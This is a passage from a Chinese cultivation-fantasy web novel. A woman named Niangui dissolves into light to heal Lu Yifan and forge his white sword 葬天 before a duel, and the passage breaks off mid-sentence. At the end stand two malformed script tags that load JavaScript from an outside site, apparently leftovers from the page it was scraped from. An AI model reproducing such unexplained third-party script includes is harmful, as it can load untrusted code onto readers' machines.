那道暖流从她的手心涌进他的掌心,涌进他的经脉,涌进他的丹田,涌进他的四肢百骸。
它在他体内流转,把他破碎的骨头重新接上,把他撕裂的皮肤重新愈合,把他干涸的丹田重新灌满。
甚至把他白了大半的头发变回了黑色,把他眼角刀刻般的皱纹一一抚平。
他浑身是伤,奄奄一息,但此刻,他完好如初。
陆一凡低头看着自己的手,又抬头看着念归。
他忽然发现,念归的身体在变淡,像一幅正在褪色的画。
从指尖开始,一点一点,变得透明。
念归的手还在他掌心里,但那只手也在变淡。
“念归!”
陆一凡喊她的名字,声音在发抖。
没有回应。
念归的身体化作一道光,一道很淡、很轻、几乎察觉不到的光。
那道光从他掌心涌进他的身体,涌进他的丹田,涌进那柄只剩剑柄的铁剑里。
铁剑发出一声长鸣,像在哭,又像在笑。
陆一凡低头,看着自己右手。
那里握着一柄剑。
不是那柄碎成渣铁剑,而是是一柄通体莹白的长剑。
剑身修长,像用月光铸就,又像用万年霜雪一点点打磨而成。
没有多余的花纹,没有华丽的装饰,只有剑身上,有两道极淡极淡的痕迹交错而成,构成了两个大字。
葬天。
“用你的剑意。”
“斩出去。”
有两道相同却又不同的声音从陆一凡的脑海中响起,杀意很重又很淡,像金戈碰撞,又像风吹竹林。
陆一凡闭上眼。
他的右手握着那柄剑,那柄等了三百年的剑。
他睁开眼,屈膝、躬身。
藏锋谷的风停了。
不是被威压碾碎的停,不是被剑意定住的停,是被他眼中那道光照亮的停。
那道光从他眼睛里涌出来,从他握着剑的手里涌出来,从两柄剑的剑锋上涌出来。
它很亮,亮得像藏锋谷千万年来所有的剑意同时点燃。
它很冷,冷得像洗剑台上那道亘古不变的白光。
青蓝散人的瞳孔骤然收缩。
他想退,但已经来不及了。
他想全力抵挡,
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">